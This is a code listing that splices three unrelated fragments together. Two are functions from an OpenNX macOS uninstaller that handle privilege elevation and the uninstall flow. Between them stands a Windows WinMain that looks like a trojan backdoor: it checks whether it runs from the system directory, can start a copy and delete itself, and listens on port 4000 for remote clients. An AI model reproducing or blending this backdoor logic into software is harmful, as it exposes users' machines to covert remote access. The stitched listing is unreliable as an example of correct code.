/** * Execute with administrative rights. */ bool MacUninstallApp::ElevatedUninstall(const wxString &pkg, const wxString &pkgid) { // If we are already root, do the uninstall directly if (geteuid() == 0) return DoUninstall(pkg, pkgid); wxString msg = wxString::Format( _("In order to uninstall %s, administrative rights are required.\n\n"), pkg.c_str()); char *prompt = strdup(msg.utf8_str()); OSStatus st; AuthorizationFlags aFlags = kAuthorizationFlagDefaults; AuthorizationRef aRef; AuthorizationItem promptItem = { kAuthorizationEnvironmentPrompt, strlen(prompt), prompt, 0 }; AuthorizationEnvironment aEnv = { 1, &promptItem }; st = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &aRef); if (errAuthorizationSuccess != st) { ::wxLogError(_("Authorization could not be created: %s"), MacAuthError(st).c_str()); return true; } AuthorizationItem aItems = { kAuthorizationRightExecute, 0, NULL, 0 }; AuthorizationRights aRights = { 1, &aItems }; aFlags = kAuthorizationFlagDefaults | kAuthorizationFlagInteractionAllowed | kAuthorizationFlagPreAuthorize | kAuthorizationFlagExtendRights; st = AuthorizationCopyRights(aRef, &aRights, &aEnv, aFlags, NULL ); bool ret = true; if (errAuthorizationSuccess == st) { char *executable = strdup(m_sSelfPath.utf8_str()); char *args[] = { "--batch", NULL }; FILE *pout = NULL; if (!::wxGetEnv(wxT("TMPDIR"), NULL)) ::wxSetEnv(wxT("TMPDIR"), wxFileName::GetTempDir()); ::wxSetEnv(wxT("MACUNINST_ELEVATION_PID"), wxString::Format(wxT("%d"), ::wxGetProcessId())); st = AuthorizationExecuteWithPrivileges(aRef, executable, kAuthorizationFlagDefaults, args, &pout); if (errAuthorizationSuccess == st) { int status; fscanf(pout, "%d %lu %lu", &status, &failed_files, &failed_dirs); ret = (0 == status); } else ::wxLogError(_("Could not execute with administrative rights:\n%s"), MacAuthError(st).c_str()); } else { if (st) { m_bCancelled = (errAuthorizationCanceled == st); if (!m_bCancelled) ::wxLogError(_("Authorization failed: %s"), MacAuthError(st).c_str()); } } AuthorizationFree(aRef, kAuthorizationFlagDefaults); return ret; }
int APIENTRY WinMain( HINSTANCE hInstance , HINSTANCE hPrevInstance ,LPSTR lpCmdLine , int nShowCmd ){ SOCKET listenfd,connfd; TCHAR szMyPath[MAX_PATH],expPath[MAX_PATH],currDir[MAX_PATH]; STARTUPINFO si; PROCESS_INFORMATION pi; BOOL foreignRun = FALSE; GetModuleFileName( NULL, szMyPath, MAX_PATH ); //MB(szMyPath); //wsprintf( expPath , "%s\\system32" , getenv("SYSTEMROOT") ); GetSystemDirectory( expPath , MAX_PATH ); //MB(expPath); if( check_for_deinstall( lpCmdLine ) ){ DoUninstall( lpCmdLine ); exit(0); } if( !strstr( szMyPath , expPath ) ){ DoFirstRunTasks(); memset( &si , 0 , sizeof(STARTUPINFO) ); memset( &pi , 0 , sizeof(PROCESS_INFORMATION) ); si.cb = sizeof(STARTUPINFO); #ifdef OWL_MELT int m = CreateProcess( expPath, NULL, NULL, FALSE, 0, NULL, NULL, 0, &si, &pi ); SelfDelete(); exit(0); #endif } Sleep(2000); new_thread( InternetConnectionCheckerProc, NULL ); listenfd = start_server( 4000 ); while( 1 ){ connfd = accept_connection( listenfd , NULL , NULL ); if( connfd < 0 ) continue; new_thread( HandleClient , &connfd ); } closesocket(connfd); closesocket(listenfd); WSACleanup(); return 0; }
bool MacUninstallApp::OnInit() { wxFileName fn(m_sSelfPath); fn.RemoveLastDir(); fn.AppendDir(wxT("share")); fn.AppendDir(wxT("locale")); m_cLocale.AddCatalogLookupPathPrefix(fn.GetPath()); m_cLocale.Init(); m_cLocale.AddCatalog(wxT("opennx")); wxString targetPkg = wxT("OpenNX"); wxString targetPkgId = wxT("org.opennx.OpenNX"); // Call to base class needed for initializing command line processing if (!wxApp::OnInit()) return false; wxInitAllImageHandlers(); wxBitmap::InitStandardHandlers(); m_sLogName << wxT("/tmp/uninstall-") << targetPkgId << wxT(".log"); if (m_bBatchMode) { if ((!m_bTestMode) && (0 != geteuid())) { ::wxMessageBox(_("Batch uninstall needs to be started as root."), wxString::Format(_("Uninstall %s"), targetPkg.c_str()), wxOK|wxICON_ERROR); while (Pending()) Dispatch(); return false; } bool ok = DoUninstall(targetPkg, targetPkgId); ::wxLogMessage(_("Uninstall finished at %s"), wxDateTime::Now().Format().c_str()); ::wxLogMessage(_("Status: %s, failed files: %lu, failed dirs: %lu"), (ok ? _("OK") : _("FAILED")), failed_files, failed_dirs); // Print result to stdout for parent (elevation wrapper) wxString ptmp; if (::wxGetEnv(wxT("MACUNINST_ELEVATION_PID"), &ptmp)) { long epid; if (ptmp.ToLong(&epid)) { if (getppid() == epid) { ::wxLogMessage(_("Reporting result to elevation wrapper %s"), ptmp.c_str()); printf("%d %lu %lu\n", ok ? 0 : 1, failed_files, failed_dirs); } } } } else { int r = ::wxMessageBox( wxString::Format( _("This operation can not be undone!\nDo you really want to uninstall %s?"), targetPkg.c_str()), wxString::Format(_("Uninstall %s"), targetPkg.c_str()), wxYES_NO|wxNO_DEFAULT|wxICON_EXCLAMATION); if (wxYES == r) { if (!TestReceipt(targetPkg, targetPkgId)) { while (Pending()) Dispatch(); return false; } if (ElevatedUninstall(targetPkg, targetPkgId)) { if (!m_bCancelled) { if (0 == (failed_files + failed_dirs)) { ::wxMessageBox( wxString::Format(_("%s has been removed successfully."), targetPkg.c_str()), _("Uninstallation complete"), wxOK|wxICON_INFORMATION); } else { ::wxMessageBox( wxString::Format( _("%s could not be removed completely.\nSome files or directories could not be deleted.\nPlease investigate the log file\n%s\n for more information."), targetPkg.c_str(), m_sLogName.c_str()), _("Uninstallation incomplete"), wxOK|wxICON_EXCLAMATION); } } } else ::wxMessageBox( wxString::Format( _("Uninstallation has failed.\nThe reason should have been logged in the file\n%s"), m_sLogName.c_str()), _("Uninstallation failed"), wxOK|wxICON_ERROR); } } while (Pending()) Dispatch(); return false; }